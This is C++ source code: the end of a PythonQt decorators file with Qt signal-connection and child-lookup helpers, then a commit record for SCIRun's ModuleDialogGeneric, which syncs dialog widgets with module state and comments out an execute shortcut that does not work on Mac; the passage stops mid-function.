slot.at(0);\n if (first>='0' && first<='9') {\n slotTmp = slot;\n } else {\n slotTmp = \"1\" + slot;\n }\n r = QObject::connect(sender, signalTmp, receiver, slotTmp);\n }\n return r;\n}\n\nbool PythonQtStdDecorators::disconnect(QObject* sender, const QByteArray& signal, PyObject* callable)\n{\n bool result = false;\n QByteArray signalTmp;\n char first = signal.at(0);\n if (first>='0' && first<='9') {\n signalTmp = signal;\n } else {\n signalTmp = \"2\" + signal;\n }\n if (sender) {\n result = PythonQt::self()->removeSignalHandler(sender, signalTmp, callable);\n if (!result) {\n if (sender->metaObject()->indexOfSignal(QMetaObject::normalizedSignature(signalTmp.constData()+1)) == -1) {\n qWarning(\"PythonQt: QObject::disconnect() signal '%s' does not exist on %s\", signal.constData(), sender->metaObject()->className());\n }\n }\n }\n return result;\n}\n\nbool PythonQtStdDecorators::disconnect(QObject* sender, const QByteArray& signal, QObject* receiver, const QByteArray& slot)\n{\n bool r = false;\n if (sender && receiver) {\n QByteArray signalTmp;\n char first = signal.at(0);\n if (first>='0' && first<='9') {\n signalTmp = signal;\n } else {\n signalTmp = \"2\" + signal;\n }\n\n QByteArray slotTmp;\n first = slot.at(0);\n if (first>='0' && first<='9') {\n slotTmp = slot;\n } else {\n slotTmp = \"1\" + slot;\n }\n\n r = QObject::disconnect(sender, signalTmp, receiver, slotTmp);\n }\n return r;\n}\n\nQObject* PythonQtStdDecorators::parent(QObject* o) {\n return o->parent();\n}\n\nvoid PythonQtStdDecorators::setParent(QObject* o, QObject* parent)\n{\n o->setParent(parent);\n}\n\nconst QObjectList* PythonQtStdDecorators::children(QObject* o)\n{\n return &o->children();\n}\n\nbool PythonQtStdDecorators::setProperty(QObject* o, const char* name, const QVariant& value)\n{\n return o->setProperty(name, value);\n}\n\nQVariant PythonQtStdDecorators::property(QObject* o, const char* name)\n{\n return o->property(name);\n}\n\nQString PythonQtStdDecorators::tr(QObject* obj, const QByteArray& text, const QByteArray& ambig, int n)\n{\n return QCoreApplication::translate(obj->metaObject()->className(), text.constData(), ambig.constData(), QCoreApplication::CodecForTr, n);\n}\n\nQObject* PythonQtStdDecorators::findChild(QObject* parent, PyObject* type, const QString& name)\n{\n const QMetaObject* meta = NULL;\n const char* typeName = NULL;\n\n if (PyObject_TypeCheck(type, &PythonQtClassWrapper_Type)) {\n meta = ((PythonQtClassWrapper*)type)->classInfo()->metaObject();\n } else if (PyObject_TypeCheck(type, &PythonQtInstanceWrapper_Type)) {\n meta = ((PythonQtInstanceWrapper*)type)->classInfo()->metaObject();\n } else if (PyString_Check(type)) {\n typeName = PyString_AsString(type);\n }\n\n if (!typeName && !meta)\n return NULL;\n\n return findChild(parent, typeName, meta, name);\n}\n\nQList<QObject*> PythonQtStdDecorators::findChildren(QObject* parent, PyObject* type, const QString& name)\n{\n const QMetaObject* meta = NULL;\n const char* typeName = NULL;\n\n if (PyObject_TypeCheck(type, &PythonQtClassWrapper_Type)) {\n meta = ((PythonQtClassWrapper*)type)->classInfo()->metaObject();\n } else if (PyObject_TypeCheck(type, &PythonQtInstanceWrapper_Type)) {\n meta = ((PythonQtInstanceWrapper*)type)->classInfo()->metaObject();\n } else if (PyString_Check(type)) {\n typeName = PyString_AsString(type);\n }\n\n QList<QObject*> list;\n\n if (!typeName && !meta)\n return list;\n\n findChildren(parent, typeName, meta, name, list);\n\n return list;\n}\n\nQList<QObject*> PythonQtStdDecorators::findChildren(QObject* parent, PyObject* type, const QRegExp& regExp)\n{\n const QMetaObject* meta = NULL;\n const char* typeName = NULL;\n\n if (PyObject_TypeCheck(type, &PythonQtClassWrapper_Type)) {\n meta = ((PythonQtClassWrapper*)type)->classInfo()->metaObject();\n } else if (PyObject_TypeCheck(type, &PythonQtInstanceWrapper_Type)) {\n meta = ((PythonQtInstanceWrapper*)type)->classInfo()->metaObject();\n } else if (PyString_Check(type)) {\n typeName = PyString_AsString(type);\n }\n\n QList<QObject*> list;\n\n if (!typeName && !meta)\n return list;\n\n findChildren(parent, typeName, meta, regExp, list);\n\n return list;\n}\n\nQObject* PythonQtStdDecorators::findChild(QObject* parent, const char* typeName, const QMetaObject* meta, const QString& name)\n{\n const QObjectList &children = parent->children();\n\n int i;\n for (i = 0; i < children.size(); ++i) {\n QObject* obj = children.at(i);\n\n if (!obj)\n return NULL;\n\n \/\/ Skip if the name doesn't match.\n if (!name.isNull() && obj->objectName() != name)\n continue;\n\n if ((typeName && obj->inherits(typeName)) ||\n (meta && meta->cast(obj)))\n return obj;\n }\n\n for (i = 0; i < children.size(); ++i) {\n QObject* obj = findChild(children.at(i), typeName, meta, name);\n\n if (obj != NULL)\n return obj;\n }\n\n return NULL;\n}\n\nint PythonQtStdDecorators::findChildren(QObject* parent, const char* typeName, const QMetaObject* meta, const QString& name, QList<QObject*>& list)\n{\n const QObjectList& children = parent->children();\n int i;\n\n for (i = 0; i < children.size(); ++i) {\n QObject* obj = children.at(i);\n\n if (!obj)\n return -1;\n\n \/\/ Skip if the name doesn't match.\n if (!name.isNull() && obj->objectName() != name)\n continue;\n\n if ((typeName && obj->inherits(typeName)) ||\n (meta && meta->cast(obj))) {\n list += obj;\n }\n\n if (findChildren(obj, typeName, meta, name, list) < 0)\n return -1;\n }\n\n return 0;\n}\n\nint PythonQtStdDecorators::findChildren(QObject* parent, const char* typeName, const QMetaObject* meta, const QRegExp& regExp, QList<QObject*>& list)\n{\n const QObjectList& children = parent->children();\n int i;\n\n for (i = 0; i < children.size(); ++i) {\n QObject* obj = children.at(i);\n\n if (!obj)\n return -1;\n\n \/\/ Skip if the name doesn't match.\n if (regExp.indexIn(obj->objectName()) == -1)\n continue;\n\n if ((typeName && obj->inherits(typeName)) ||\n (meta && meta->cast(obj))) {\n list += obj;\n }\n\n if (findChildren(obj, typeName, meta, regExp, list) < 0)\n return -1;\n }\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n For more information, please see: http:\/\/software.sci.utah.edu\n\n The MIT License\n\n Copyright (c) 2012 Scientific Computing and Imaging Institute,\n University of Utah.\n\n License for the specific language governing rights and limitations under\n Permission is hereby granted, free of charge, to any person obtaining a\n copy of this software and associated documentation files (the \"Software\"),\n to deal in the Software without restriction, including without limitation\n the rights to use, copy, modify, merge, publish, distribute, sublicense,\n and\/or sell copies of the Software, and to permit persons to whom the\n Software is furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included\n in all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n DEALINGS IN THE SOFTWARE.\n*\/\n\n#include <Dataflow\/Network\/ModuleStateInterface.h>\n#include <Interface\/Modules\/Base\/ModuleDialogGeneric.h>\n#include <Core\/Logging\/Log.h>\n#include <boost\/foreach.hpp>\n\nusing namespace SCIRun::Gui;\nusing namespace SCIRun::Dataflow::Networks;\nusing namespace SCIRun::Core::Algorithms;\n\nModuleDialogGeneric::ModuleDialogGeneric(SCIRun::Dataflow::Networks::ModuleStateHandle state, QWidget* parent) : QDialog(parent),\n state_(state),\n pulling_(false)\n{\n setModal(false);\n\n if (state_)\n {\n \/\/TODO: replace with pull_newVersion\n LOG_DEBUG(\"ModuleDialogGeneric connecting to state\" << std::endl);\n stateConnection_ = state_->connect_state_changed([this]() { pull(); });\n }\n \n createExecuteAction();\n}\n\nModuleDialogGeneric::~ModuleDialogGeneric()\n{\n}\n\nvoid ModuleDialogGeneric::fixSize()\n{\n if (minimumWidth() > 0 && minimumHeight() > 0)\n {\n setFixedSize(minimumWidth(), minimumHeight());\n }\n}\n\nvoid ModuleDialogGeneric::createExecuteAction()\n{\n executeAction_ = new QAction(this);\n executeAction_->setText(\"Execute\");\n executeAction_->setShortcut(QKeySequence(\"Ctrl+Shift+E\"));\n executeAction_->setIcon(QApplication::style()->standardIcon(QStyle::SP_MediaPlay));\n connect(executeAction_, SIGNAL(triggered()), this, SIGNAL(executeActionTriggered()));\n}\n\nvoid ModuleDialogGeneric::contextMenuEvent(QContextMenuEvent* e) \n{\n QMenu menu(this);\n menu.addAction(executeAction_);\n menu.exec(e->globalPos());\n\n QDialog::contextMenuEvent(e);\n}\n\nvoid ModuleDialogGeneric::addWidgetSlotManager(WidgetSlotManagerPtr ptr)\n{\n slotManagers_.push_back(ptr);\n}\n\nvoid ModuleDialogGeneric::pull_newVersionToReplaceOld()\n{\n Pulling p(this);\n BOOST_FOREACH(WidgetSlotManagerPtr wsm, slotManagers_)\n wsm->pull();\n}\n\nclass ComboBoxSlotManager : public WidgetSlotManager\n{\npublic:\n typedef boost::function<std::string(const QString&)> FromQStringConverter;\n typedef boost::function<QString(const std::string&)> ToQStringConverter;\n ComboBoxSlotManager(ModuleStateHandle state, ModuleDialogGeneric& dialog, const AlgorithmParameterName& stateKey, QComboBox* comboBox,\n FromQStringConverter fromLabelConverter = boost::bind(&QString::toStdString, _1),\n ToQStringConverter toLabelConverter = &QString::fromStdString) :\n WidgetSlotManager(state, dialog), stateKey_(stateKey), comboBox_(comboBox), fromLabelConverter_(fromLabelConverter), toLabelConverter_(toLabelConverter)\n {\n connect(comboBox, SIGNAL(activated(const QString&)), this, SLOT(push()));\n }\n ComboBoxSlotManager(ModuleStateHandle state, ModuleDialogGeneric& dialog, const AlgorithmParameterName& stateKey, QComboBox* comboBox,\n const GuiStringTranslationMap& stringMap) :\n WidgetSlotManager(state, dialog), stateKey_(stateKey), comboBox_(comboBox), stringMap_(stringMap)\n {\n fromLabelConverter_ = [this](const QString& qstr) { return stringMap_.left.at(qstr.toStdString()); };\n toLabelConverter_ = [this](const std::string& str) { return QString::fromStdString(stringMap_.right.at(str)); };\n connect(comboBox, SIGNAL(activated(const QString&)), this, SLOT(push()));\n }\n virtual void pull() override\n {\n auto value = state_->getValue(stateKey_).toString();\n auto qstring = toLabelConverter_(value);\n if (qstring != comboBox_->currentText())\n {\n LOG_DEBUG(\"In new version of pull code for combobox: \" << value);\n comboBox_->setCurrentIndex(comboBox_->findText(qstring));\n }\n }\n virtual void pushImpl() override\n {\n auto label = fromLabelConverter_(comboBox_->currentText());\n if (label != state_->getValue(stateKey_).toString())\n {\n LOG_DEBUG(\"In new version of push code for combobox: \" << label);\n state_->setValue(stateKey_, label);\n }\n }\nprivate:\n AlgorithmParameterName stateKey_;\n QComboBox* comboBox_;\n FromQStringConverter fromLabelConverter_;\n ToQStringConverter toLabelConverter_;\n GuiStringTranslationMap stringMap_;\n};\n\nvoid ModuleDialogGeneric::addComboBoxManager(QComboBox* comboBox, const AlgorithmParameterName& stateKey)\n{\n addWidgetSlotManager(boost::make_shared<ComboBoxSlotManager>(state_, *this, stateKey, comboBox));\n}\n\nvoid ModuleDialogGeneric::addComboBoxManager(QComboBox* comboBox, const AlgorithmParameterName& stateKey, const GuiStringTranslationMap& stringMap)\n{\n addWidgetSlotManager(boost::make_shared<ComboBoxSlotManager>(state_, *this, stateKey, comboBox, stringMap));\n}\n\n\/\/ ASSUMEs true state = comboBox index 1, false state = comboBox index 0.\nclass TwoChoiceBooleanComboBoxSlotManager : public WidgetSlotManager\n{\npublic:\n TwoChoiceBooleanComboBoxSlotManager(ModuleStateHandle state, ModuleDialogGeneric& dialog, const AlgorithmParameterName& stateKey, QComboBox* comboBox) :\n WidgetSlotManager(state, dialog), stateKey_(stateKey), comboBox_(comboBox)\n {\n connect(comboBox, SIGNAL(activated(int)), this, SLOT(push()));\n }\n virtual void pull() override\n {\n auto value = state_->getValue(stateKey_).toBool();\n auto index = value ? 1 : 0;\n if (index != comboBox_->currentIndex())\n {\n LOG_DEBUG(\"In new version of pull code for combobox, boolean mode: \" << index);\n comboBox_->setCurrentIndex(index);\n }\n }\n virtual void pushImpl() override\n {\n auto index = comboBox_->currentIndex();\n if (index != (state_->getValue(stateKey_).toBool() ? 1 : 0))\n {\n LOG_DEBUG(\"In new version of push code for combobox, boolean mode: \" << index);\n state_->setValue(stateKey_, index == 1);\n }\n }\nprivate:\n AlgorithmParameterName stateKey_;\n QComboBox* comboBox_;\n};\n\nvoid ModuleDialogGeneric::addTwoChoiceBooleanComboBoxManager(QComboBox* comboBox, const AlgorithmParameterName& stateKey)\n{\n addWidgetSlotManager(boost::make_shared<TwoChoiceBooleanComboBoxSlotManager>(state_, *this, stateKey, comboBox));\n}\n\nclass TextEditSlotManager : public WidgetSlotManager\n{\npublic:\n TextEditSlotManager(ModuleStateHandle state, ModuleDialogGeneric& dialog, const AlgorithmParameterName& stateKey, QTextEdit* textEdit) :\n WidgetSlotManager(state, dialog), stateKey_(stateKey), textEdit_(textEdit)\n {\n connect(textEdit, SIGNAL(textChanged()), this, SLOT(push()));\n }\n virtual void pull() override\n {\n auto newValue = QString::fromStdString(state_->getValue(stateKey_).toString());\n if (newValue != textEdit_->toPlainText())\n {\n textEdit_->setPlainText(newValue);\n LOG_DEBUG(\"In new version of pull code for TextEdit: \" << newValue.toStdString());\n }\n }\n virtual void pushImpl() override\n {\n LOG_DEBUG(\"In new version of push code for TextEdit: \" << textEdit_->toPlainText().toStdString());\n state_->setValue(stateKey_, textEdit_->toPlainText().toStdString());\n }\nprivate:\n AlgorithmParameterName stateKey_;\n QTextEdit* textEdit_;\n};\n\nvoid ModuleDialogGeneric::addTextEditManager(QTextEdit* textEdit, const AlgorithmParameterName& stateKey)\n{\n addWidgetSlotManager(boost::make_shared<TextEditSlotManager>(state_, *this, stateKey, textEdit));\n}\n\nclass LineEditSlotManager : public WidgetSlotManager\n{\npublic:\n LineEditSlotManager(ModuleStateHandle state, ModuleDialogGeneric& dialog, const AlgorithmParameterName& stateKey, QLineEdit* lineEdit) :\n WidgetSlotManager(state, dialog), stateKey_(stateKey), lineEdit_(lineEdit)\n {\n connect(lineEdit_, SIGNAL(textChanged(const QString&)), this, SLOT(push()));\n }\n virtual void pull() override\n {\n auto newValue = QString::fromStdString(state_->getValue(stateKey_).toString());\n if (newValue != lineEdit_->text())\n {\n lineEdit_->setText(newValue);\n LOG_DEBUG(\"In new version of pull code for LineEdit: \" << newValue.toStdString());\n }\n }\n virtual void pushImpl() override\n {\n LOG_DEBUG(\"In new version of push code for LineEdit: \" << lineEdit_->text().toStdString());\n state_->setValue(stateKey_, lineEdit_->text().toStdString());\n }\nprivate:\n AlgorithmParameterName stateKey_;\n QLineEdit* lineEdit_;\n};\n\nvoid ModuleDialogGeneric::addLineEditManager(QLineEdit* lineEdit, const AlgorithmParameterName& stateKey)\n{\n addWidgetSlotManager(boost::make_shared<LineEditSlotManager>(state_, *this, stateKey, lineEdit));\n}\n\nclass DoubleLineEditSlotManager : public WidgetSlotManager\n{\npublic:\n DoubleLineEditSlotManager(ModuleStateHandle state, ModuleDialogGeneric& dialog, const AlgorithmParameterName& stateKey, QLineEdit* lineEdit) :\n WidgetSlotManager(state, dialog), stateKey_(stateKey), lineEdit_(lineEdit)\n {\n connect(lineEdit_, SIGNAL(textChanged(const QString&)), this, SLOT(push()));\n }\n virtual void pull() override\n {\n auto newValue = QString::number(state_->getValue(stateKey_).toDouble());\n if (newValue != lineEdit_->text())\n {\n lineEdit_->setText(newValue);\n LOG_DEBUG(\"In new version of pull code for DoubleLineEdit: \" << newValue.toStdString());\n }\n }\n virtual void pushImpl() override\n {\n LOG_DEBUG(\"In new version of push code for LineEdit: \" << lineEdit_->text().toStdString());\n state_->setValue(stateKey_, boost::lexical_cast<double>(lineEdit_->text().toStdString()));\n }\nprivate:\n AlgorithmParameterName stateKey_;\n QLineEdit* lineEdit_;\n};\n\nvoid ModuleDialogGeneric::addDoubleLineEditManager(QLineEdit* lineEdit, const AlgorithmParameterName& stateKey)\n{\n addWidgetSlotManager(boost::make_shared<DoubleLineEditSlotManager>(state_, *this, stateKey, lineEdit));\n}\n\nclass SpinBoxSlotManager : public WidgetSlotManager\n{\npublic:\n SpinBoxSlotManager(ModuleStateHandle state, ModuleDialogGeneric& dialog, const AlgorithmParameterName& stateKey, QSpinBox* spinBox) :\n WidgetSlotManager(state, dialog), stateKey_(stateKey), spinBox_(spinBox)\n {\n connect(spinBox_, SIGNAL(valueChanged(int)), this, SLOT(push()));\n }\n virtual void pull() override\n {\n auto newValue = state_->getValue(stateKey_).toInt();\n if (newValue != spinBox_->value())\n {\n spinBox_->setValue(newValue);\n LOG_DEBUG(\"In new version of pull code for SpinBox: \" << newValue);\n }\n }\n virtual void pushImpl() override\n {\n LOG_DEBUG(\"In new version of push code for SpinBox: \" << spinBox_->value());\n state_->setValue(stateKey_, spinBox_->value());\n }\nprivate:\n AlgorithmParameterName stateKey_;\n QSpinBox* spinBox_;\n};\n\nvoid ModuleDialogGeneric::addSpinBoxManager(QSpinBox* spinBox, const AlgorithmParameterName& stateKey)\n{\n addWidgetSlotManager(boost::make_shared<SpinBoxSlotManager>(state_, *this, stateKey, spinBox));\n}\n\nclass DoubleSpinBoxSlotManager : public WidgetSlotManager\n{\npublic:\n DoubleSpinBoxSlotManager(ModuleStateHandle state, ModuleDialogGeneric& dialog, const AlgorithmParameterName& stateKey, QDoubleSpinBox* spinBox) :\n WidgetSlotManager(state, dialog), stateKey_(stateKey), spinBox_(spinBox)\n {\n connect(spinBox_, SIGNAL(valueChanged(double)), this, SLOT(push()));\n }\n virtual void pull() override\n {\n auto newValue = state_->getValue(stateKey_).toDouble();\n if (newValue != spinBox_->value())\n {\n spinBox_->setValue(newValue);\n LOG_DEBUG(\"In new version of pull code for DoubleSpinBox: \" << newValue);\n }\n }\n virtual void pushImpl() override\n {\n LOG_DEBUG(\"In new version of push code for DoubleSpinBox: \" << spinBox_->value());\n state_->setValue(stateKey_, spinBox_->value());\n }\nprivate:\n AlgorithmParameterName stateKey_;\n QDoubleSpinBox* spinBox_;\n};\n\nvoid ModuleDialogGeneric::addDoubleSpinBoxManager(QDoubleSpinBox* spinBox, const AlgorithmParameterName& stateKey)\n{\n addWidgetSlotManager(boost::make_shared<DoubleSpinBoxSlotManager>(state_, *this, stateKey, spinBox));\n}\n\nclass CheckBoxSlotManager : public WidgetSlotManager\n{\npublic:\n CheckBoxSlotManager(ModuleStateHandle state, ModuleDialogGeneric& dialog, const AlgorithmParameterName& stateKey, QCheckBox* checkBox) :\n WidgetSlotManager(state, dialog), stateKey_(stateKey), checkBox_(checkBox)\n {\n connect(checkBox_, SIGNAL(stateChanged(int)), this, SLOT(push()));\n }\n virtual void pull() override\n {\n bool newValue = state_->getValue(stateKey_).toBool();\n if (newValue != checkBox_->isChecked())\n {\n LOG_DEBUG(\"In new version of pull code for CheckBox: \" << newValue);\n checkBox_->setChecked(newValue);\n }\n }\n virtual void pushImpl() override\n {\n LOG_DEBUG(\"In new version of push code for CheckBox: \" << checkBox_->isChecked());\n state_->setValue(stateKey_, checkBox_->isChecked());\n }\nprivate:\n AlgorithmParameterName stateKey_;\n QCheckBox* checkBox_;\n};\n\nvoid ModuleDialogGeneric::addCheckBoxManager(QCheckBox* checkBox, const AlgorithmParameterName& stateKey)\n{\n addWidgetSlotManager(boost::make_shared<CheckBoxSlotManager>(state_, *this, stateKey, checkBox));\n}\n\nclass CheckableButtonSlotManager : public WidgetSlotManager\n{\npublic:\n CheckableButtonSlotManager(ModuleStateHandle state, ModuleDialogGeneric& dialog, const AlgorithmParameterName& stateKey, QAbstractButton* checkable) :\n WidgetSlotManager(state, dialog), stateKey_(stateKey), checkable_(checkable)\n {\n connect(checkable_, SIGNAL(clicked()), this, SLOT(push()));\n }\n virtual void pull() override\n {\n bool newValue = state_->getValue(stateKey_).toBool();\n if (newValue != checkable_->isChecked())\n {\n LOG_DEBUG(\"In new version of pull code for checkable QAbstractButton: \" << newValue);\n checkable_->setChecked(newValue);\n }\n }\n virtual void pushImpl() override\n {\n LOG_DEBUG(\"In new version of push code for checkable QAbstractButton: \" << checkable_->isChecked());\n state_->setValue(stateKey_, checkable_->isChecked());\n }\nprivate:\n AlgorithmParameterName stateKey_;\n QAbstractButton* checkable_;\n};\n\nvoid ModuleDialogGeneric::addCheckableButtonManager(QAbstractButton* checkable, const AlgorithmParameterName& stateKey)\n{\n addWidgetSlotManager(boost::make_shared<CheckableButtonSlotManager>(state_, *this, stateKey, checkable));\n}\n<commit_msg>Shortcut no work on Mac<commit_after>\/*\n For more information, please see: http:\/\/software.sci.utah.edu\n\n The MIT License\n\n Copyright (c) 2012 Scientific Computing and Imaging Institute,\n University of Utah.\n\n License for the specific language governing rights and limitations under\n Permission is hereby granted, free of charge, to any person obtaining a\n copy of this software and associated documentation files (the \"Software\"),\n to deal in the Software without restriction, including without limitation\n the rights to use, copy, modify, merge, publish, distribute, sublicense,\n and\/or sell copies of the Software, and to permit persons to whom the\n Software is furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included\n in all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n DEALINGS IN THE SOFTWARE.\n*\/\n\n#include <Dataflow\/Network\/ModuleStateInterface.h>\n#include <Interface\/Modules\/Base\/ModuleDialogGeneric.h>\n#include <Core\/Logging\/Log.h>\n#include <boost\/foreach.hpp>\n\nusing namespace SCIRun::Gui;\nusing namespace SCIRun::Dataflow::Networks;\nusing namespace SCIRun::Core::Algorithms;\n\nModuleDialogGeneric::ModuleDialogGeneric(SCIRun::Dataflow::Networks::ModuleStateHandle state, QWidget* parent) : QDialog(parent),\n state_(state),\n pulling_(false)\n{\n setModal(false);\n\n if (state_)\n {\n \/\/TODO: replace with pull_newVersion\n LOG_DEBUG(\"ModuleDialogGeneric connecting to state\" << std::endl);\n stateConnection_ = state_->connect_state_changed([this]() { pull(); });\n }\n \n createExecuteAction();\n}\n\nModuleDialogGeneric::~ModuleDialogGeneric()\n{\n}\n\nvoid ModuleDialogGeneric::fixSize()\n{\n if (minimumWidth() > 0 && minimumHeight() > 0)\n {\n setFixedSize(minimumWidth(), minimumHeight());\n }\n}\n\nvoid ModuleDialogGeneric::createExecuteAction()\n{\n executeAction_ = new QAction(this);\n executeAction_->setText(\"Execute\");\n \/\/TODO: doesn't work on Mac\n \/\/executeAction_->setShortcut(QKeySequence(\"Ctrl+1\"));\n executeAction_->setIcon(QApplication::style()->standardIcon(QStyle::SP_MediaPlay));\n connect(executeAction_, SIGNAL(triggered()), this, SIGNAL(executeActionTriggered()));\n}\n\nvoid ModuleDialogGeneric::contextMenuEvent(QContextMenuEvent* e) \n{\n QMenu menu(this);\n menu.addAction(executeAction_);\n menu.exec(e->globalPos());\n\n QDialog::contextMenuEvent(e);\n}\n\nvoid ModuleDialogGeneric::addWidgetSlotManager(WidgetSlotManagerPtr ptr)\n{\n slotManagers_.push_back(ptr);\n}\n\nvoid ModuleDialogGeneric::pull_newVersionToReplaceOld()\n{\n Pulling p(this);\n BOOST_FOREACH(WidgetSlotManagerPtr wsm, slotManagers_)\n wsm->pull();\n}\n\nclass ComboBoxSlotManager : public WidgetSlotManager\n{\npublic:\n typedef boost::function<std::string(const QString&)> FromQStringConverter;\n typedef boost::function<QString(const std::string&)> ToQStringConverter;\n ComboBoxSlotManager(ModuleStateHandle state, ModuleDialogGeneric& dialog, const AlgorithmParameterName& stateKey, QComboBox* comboBox,\n FromQStringConverter fromLabelConverter = boost::bind(&QString::toStdString, _1),\n ToQStringConverter toLabelConverter = &QString::fromStdString) :\n WidgetSlotManager(state, dialog), stateKey_(stateKey), comboBox_(comboBox), fromLabelConverter_(fromLabelConverter), toLabelConverter_(toLabelConverter)\n {\n connect(comboBox, SIGNAL(activated(const QString&)), this, SLOT(push()));\n }\n ComboBoxSlotManager(ModuleStateHandle state, ModuleDialogGeneric& dialog, const AlgorithmParameterName& stateKey, QComboBox* comboBox,\n const GuiStringTranslationMap& stringMap) :\n WidgetSlotManager(state, dialog), stateKey_(stateKey), comboBox_(comboBox), stringMap_(stringMap)\n {\n fromLabelConverter_ = [this](const QString& qstr) { return stringMap_.left.at(qstr.toStdString()); };\n toLabelConverter_ = [this](const std::string& str) { return QString::fromStdString(stringMap_.right.at(str)); };\n connect(comboBox, SIGNAL(activated(const QString&)), this, SLOT(push()));\n }\n virtual void pull() override\n {\n auto value = state_->getValue(stateKey_).toString();\n auto qstring = toLabelConverter_(value);\n if (qstring != comboBox_->currentText())\n {\n LOG_DEBUG(\"In new version of pull code for combobox: \" << value);\n comboBox_->setCurrentIndex(comboBox_->findText(qstring));\n }\n }\n virtual void pushImpl() override\n {\n auto label = fromLabelConverter_(comboBox_->currentText());\n if (label != state_->getValue(stateKey_).toString())\n {\n LOG_DEBUG(\"In new version of push code for combobox: \" << label);\n state_->setValue(stateKey_, label);\n }\n }\nprivate:\n AlgorithmParameterName stateKey_;\n QComboBox* comboBox_;\n FromQStringConverter fromLabelConverter_;\n ToQStringConverter toLabelConverter_;\n GuiStringTranslationMap stringMap_;\n};\n\nvoid ModuleDialogGeneric::addComboBoxManager(QComboBox* comboBox, const AlgorithmParameterName& stateKey)\n{\n addWidgetSlotManager(boost::make_shared<ComboBoxSlotManager>(state_, *this, stateKey, comboBox));\n}\n\nvoid ModuleDialogGeneric::addComboBoxManager(QComboBox* comboBox, const AlgorithmParameterName& stateKey, const GuiStringTranslationMap& stringMap)\n{\n addWidgetSlotManager(boost::make_shared<ComboBoxSlotManager>(state_, *this, stateKey, comboBox, stringMap));\n}\n\n\/\/ ASSUMEs true state = comboBox index 1, false state = comboBox index 0.\nclass TwoChoiceBooleanComboBoxSlotManager : public WidgetSlotManager\n{\npublic:\n TwoChoiceBooleanComboBoxSlotManager(ModuleStateHandle state, ModuleDialogGeneric& dialog, const AlgorithmParameterName& stateKey, QComboBox* comboBox) :\n WidgetSlotManager(state, dialog), stateKey_(stateKey), comboBox_(comboBox)\n {\n connect(comboBox, SIGNAL(activated(int)), this, SLOT(push()));\n }\n virtual void pull() override\n {\n auto value = state_->getValue(stateKey_).toBool();\n auto index = value ? 1 : 0;\n if (index != comboBox_->currentIndex())\n {\n LOG_DEBUG(\"In new version of pull code for combobox, boolean mode: \" << index);\n comboBox_->setCurrentIndex(index);\n }\n }\n virtual void pushImpl() override\n {\n auto index = comboBox_->currentIndex();\n if (index != (state_->getValue(stateKey_).toBool() ? 1 : 0))\n {\n LOG_DEBUG(\"In new version of push code for combobox, boolean mode: \" << index);\n state_->setValue(stateKey_, index == 1);\n }\n }\nprivate:\n AlgorithmParameterName stateKey_;\n QComboBox* comboBox_;\n};\n\nvoid ModuleDialogGeneric::addTwoChoiceBooleanComboBoxManager(QComboBox* comboBox, const AlgorithmParameterName& stateKey)\n{\n addWidgetSlotManager(boost::make_shared<TwoChoiceBooleanComboBoxSlotManager>(state_, *this, stateKey, comboBox));\n}\n\nclass TextEditSlotManager : public WidgetSlotManager\n{\npublic:\n TextEditSlotManager(ModuleStateHandle state, ModuleDialogGeneric& dialog, const AlgorithmParameterName& stateKey, QTextEdit* textEdit) :\n WidgetSlotManager(state, dialog), stateKey_(stateKey), textEdit_(textEdit)\n {\n connect(textEdit, SIGNAL(textChanged()), this, SLOT(push()));\n }\n virtual void pull() override\n {\n auto newValue = QString::fromStdString(state_->getValue(stateKey_).toString());\n if (newValue != textEdit_->toPlainText())\n {\n textEdit_->setPlainText(newValue);\n LOG_DEBUG(\"In new version of pull code for TextEdit: \" << newValue.toStdString());\n }\n }\n virtual void pushImpl() override\n {\n LOG_DEBUG(\"In new version of push code for TextEdit: \" << textEdit_->toPlainText().toStdString());\n state_->setValue(stateKey_, textEdit_->toPlainText().toStdString());\n }\nprivate:\n AlgorithmParameterName stateKey_;\n QTextEdit* textEdit_;\n};\n\nvoid ModuleDialogGeneric::addTextEditManager(QTextEdit* textEdit, const AlgorithmParameterName& stateKey)\n{\n addWidgetSlotManager(boost::make_shared<TextEditSlotManager>(state_, *this, stateKey, textEdit));\n}\n\nclass LineEditSlotManager : public WidgetSlotManager\n{\npublic:\n LineEditSlotManager(ModuleStateHandle state, ModuleDialogGeneric& dialog, const AlgorithmParameterName& stateKey, QLineEdit* lineEdit) :\n WidgetSlotManager(state, dialog), stateKey_(stateKey), lineEdit_(lineEdit)\n {\n connect(lineEdit_, SIGNAL(textChanged(const QString&)), this, SLOT(push()));\n }\n virtual void pull() override\n {\n auto newValue = QString::fromStdString(state_->getValue(stateKey_).toString());\n if (newValue != lineEdit_->text())\n {\n lineEdit_->setText(newValue);\n LOG_DEBUG(\"In new version of pull code for LineEdit: \" << newValue.toStdString());\n }\n }\n virtual void pushImpl() override\n {\n LOG_DEBUG(\"In new version of push code for LineEdit: \" << lineEdit_->text().toStdString());\n state_->setValue(stateKey_, lineEdit_->text().toStdString());\n }\nprivate:\n AlgorithmParameterName stateKey_;\n QLineEdit* lineEdit_;\n};\n\nvoid ModuleDialogGeneric::addLineEditManager(QLineEdit* lineEdit, const 